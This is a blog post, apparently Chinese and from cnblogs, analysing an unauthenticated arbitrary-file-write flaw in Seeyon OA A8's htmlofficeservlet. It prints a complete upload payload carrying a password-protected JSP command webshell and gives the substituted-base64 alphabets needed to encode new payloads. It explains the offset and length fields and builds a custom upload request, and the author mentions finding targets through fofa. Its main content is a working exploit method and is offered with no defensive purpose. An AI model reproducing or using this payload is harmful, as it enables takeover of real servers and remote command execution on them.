zoukankan      html  css  js  c++  java
  • 致远oa漏洞payload分析

    ————背景说明————

    致远 OA 系统中,A8的一些版本存在任意文件写入漏洞。攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet 以POST方式上传特殊构造的数据,以此向目标服务器写入任意文件,包括webshell,目前大多数使用某payload上传cmd马,写入成功后可执行任意系统命令进而控制目标服务器。

    由于我也遇到过相关的站,搜索到相同的payload。其实也不是专门搜索这个playload,主要是网上搜这个漏洞,复现博客给的就只有这个playload,这就很尴尬,作为一个辣鸡,跟代码分析的话,代码且不说我没有,有我也不怎么会,我不会,可是我又不想用这个playload,名字test123456.jsp太丑了,比较爱传吴彦祖.jsp,陈冠希.jsp这种,而且可以传文件,传个马连接冰蝎不香吗,cmd马我不太会用。所以,我就开始整这个payload。

    ————实验过程————

    首先检测这个漏洞,主要是访问url:http://xxx/seeyon/htmlofficeservlet,看是否有如下相关界面。其实也容易,因为要么就没文件,要么就空白,要么就是有界面。

    如果有了这个界面,那其实也啥用没有,因为网上很多说有这个界面就代表这个漏洞检测存在了,其实不是,我试了十来个站,实践证明有这个界面也是不一定存在这个洞的。

    不过可能是在之前,确实是有这个界面就是存在这个漏洞,但是这个漏洞爆出来以后,各种补救措施以及魔改,所以导致现在有这个界面也不一定有洞了。

    这是一个任意文件上传漏洞,通过传马getshell,以下是网上广为流传的payload:

    DBSTEP V3.0     355             0               666             
    DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+" ");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd33445".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce

    (网上DBSTEP=PLMLIKLV是在第一行,我试了几次觉得这个应该放在第二行在后续构造其他payload的时候会好一些)

    通过构造post请求数据包(后面会讲),就可以产生如下效果

    http://www.xxx.com/seeyon/test123456.jsp?pwd=asasd3344&cmd=ipconfig

    不过目前清一色传的都是这个。在背景里说了,我是不愿意的,我想传陈冠希.jsp,所以需要了解一下这个payload具体的内容。

    首先是他编码方式,这个编码方式我就直接说了,因为我也是看某大佬分析的,让我分析我也不会,这个编码方式是base64的变种。

    (大佬的文章链接:https://paper.seebug.org/964/)

    大概意思主要是围绕这两个关键的代码

    public String GetMsgByName(String FieldName) {
        int i = 0;
        int j = 0;
        String mReturn = "";
        String mFieldName = FieldName.trim().concat("=");
        i = this._$906.indexOf(mFieldName);
        if (i != -1) {
            j = this._$906.indexOf("
    ", i + 1);
            i += mFieldName.length();
            if (j != -1) {
                String mFieldValue = this._$906.substring(i, j);
                mReturn = this.DecodeBase64(mFieldValue);
                return mReturn;
            }
            return mReturn;
        }
        return mReturn;
    }
    public String DecodeBase64(String Value) {
        ByteArrayOutputStream o = new ByteArrayOutputStream();
        String m = "";
        byte[] d = new byte[4];
        try {
            int count = 0;
            byte[] x = Value.getBytes();
            while (count < x.length) {
                for (int n = 0; n <= 3; ++n) {
                    if (count >= x.length) {
                        d[n] = 64;
                    } else {
                        int y = this._$903.indexOf(x[count]);
                        if (y < 0) {
                            y = 65;
                        }
                        d[n] = (byte)y;
                    }
                    ++count;
                }
                o.write((byte)(((d[0] & 63) << 2) + ((d[1] & 48) >> 4)));
                if (d[2] == 64) continue;
                o.write((byte)(((d[1] & 15) << 4) + ((d[2] & 60) >> 2)));
                if (d[3] == 64) continue;
                o.write((byte)(((d[2] & 3) << 6) + (d[3] & 63)));
            }
        }
        catch (StringIndexOutOfBoundsException e) {
            this._$907 = this._$907 + e.toString();
            System.out.println(e.toString());
        }
        try {
            m = o.toString(this.Charset);
        }
        catch (UnsupportedEncodingException ea) {
            System.out.println(ea.toString());
        }
        return m;
    }

    好,代码看完了,你们一定都看懂了,那就这样。

    其实按我个人的理解,这可以理解成进行了base64以后,又进行一次替换加密,把原本的base64编码结果替换成了另一种结果。

    具体的对应结果如下:

    base64密文:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=

    变换后密文:FxcYg3UZvtEz50Na8G476=mLDI/jVfC9dsoMAiBhJSu2qPKe+QRbXry1TnkWHlOpw

    那么,到这里编码就搞定了,错了,其实并没有。

    由于这个oa源码不是开源的,所以这只是一套很老的对应结果,现在的替换应该是已经被改过了,参考大佬的分析,现在的对应结果如下:

    base64密文:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=

    变换后密文:gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6

    那么,到这里编码就搞定了,所以payload里的内容,比如filename就知道是个啥了

    写了一个替换程序

    然后解密出的base64进行解码,得到如下:

    那么接下来改文件名,再编码再替换,不就可以了,我可真是个小天才。

     

    其实也不太行,把文件名改了,把文件内容换了,并没有成功上传文件,这里涉及了两个数字参数的分析。

    DBSTEP V3.0 355 0 666 

    首先是355,在这里意思是从这个payload,第355个字符开始读内容写入文件。

    不过我试了一下,发现原payload文件内容之前的所有部分字数统计有399,那这是为什么呢。

    想了一下会不会第一行只是参数设定,并不在计算范围内,所以我淘汰了第一行,进行第二次字符统计。

    这时有335个字符了,还是不到355个,思考了一下,数了一共十行,每行就是少两个,换行符呗,小天才实锤。

    接下来是666,666在payload中是读取要写入的内容长度,就是要写的东西的长度。

    于是我统计了原payload里的这个马的内容,发现是698个字符,又对不上,我又傻了。

    仔细看了一下,发现最后面多了一串hash

    我寻思hash在这个马里写进入好像也没啥用,应该不是要写的,所以没统计这部分,然后发现字符对上了,小天才二次实锤

    那么这个hash是个啥玩意,我搜了一下,发现他是这个jsp的md5,好像没啥用。

     那么就都差不多了,感觉其他的内容也不重要,就通过编码和这两个参数构造了payload传了测试的txt

    DBSTEP V3.0     347             0               18             DBSTEP=OKMLlKlV
    OPTION=S3WYOSWLBSGr
    currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
    CREATEDATE=wUghPB3szB3Xwg66
    RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
    originalFileId=wV66
    originalCreateDate=wUghPB3szB3Xwg66
    FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdNEQ/qHOuNg66
    needReadFile=yRWZdAS6
    originalCreateDate=wLSGP4oEzLKAz4=iz=66
     my name is wuyanzu

    构造post请求包的方式就是,访问htmlofficeservlet的时候,抓个包

    然后改变请求方式

     接着带上payload即可。

     由于是fofa上找的目标,就不传马了,影响不好,这方面我还是很严肃的。

     我装的。

    最后,知道payload的原理,就可以自己写exp或者工具传想要的马了,我没写。

    最后的最后,其实那串hash好像还是有用的,因为有时候读取的时候发现初始字符或者最后几个字符没有写进去,用hash填充,应该是为了凑字数。

    ——结束撒花——

  • 相关阅读:
    Eclipse中配置约束(DTD,XSD)
    Eclipse集成tomcat
    java使用dom4j对XML进行CURD操作
    SQL数据库操作(CURD)
    Java-IO流总结
    Java-集合框架总结
    AES apache commons-crypto 对称加密
    Redis
    Axis2 客户端调用 设置超时时间
    Sybase 修改数据库默认排序
  • 原文地址:https://www.cnblogs.com/hguone/p/14325312.html
Copyright © 2011-2022 走看看